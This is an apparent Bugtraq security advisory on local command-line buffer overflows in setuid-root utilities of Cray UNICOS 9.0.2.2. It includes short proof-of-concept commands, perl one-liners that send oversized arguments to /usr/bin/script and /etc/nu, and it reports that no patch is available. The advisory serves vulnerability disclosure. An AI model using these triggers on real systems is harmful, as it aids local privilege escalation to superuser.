Cray UNICOS Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

Bugtraq ID:	16205
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Jan 10 2006 12:00AM
Updated:	Jan 10 2006 12:00AM
Credit:	Micheal Turner <[email protected]> discovered these issues.
Vulnerable:	Convex Storage Manager 9.0.2 .2
Not Vulnerable:

Cray UNICOS Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

Cray UNICOS is prone to locally exploitable buffer overflow vulnerabilities. These issues are due to insufficient bounds checking of command line parameters in various utilities with setuid-superuser privileges.

Successful exploitation could result in execution of malicious machine code with superuser privileges, facilitating the complete compromise of affected computers.

These issues are reported in version 9.0.2.2 of UNICOS; other versions may also be affected.

Cray UNICOS Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

The following examples are sufficient to demonstrate these issues:

for '/usr/bin/script':
script `perl -e 'print "A"x1000'`

for '/etc/nu':
echo "" >> /tmp/acid
udbgen -p /tmp
echo `perl -e 'print "A"x10000'` >> /tmp/script
/etc/nu -p /tmp -c /tmp/script -a

Cray UNICOS Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Cray UNICOS Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

References:

• Cray Home Page (Cray)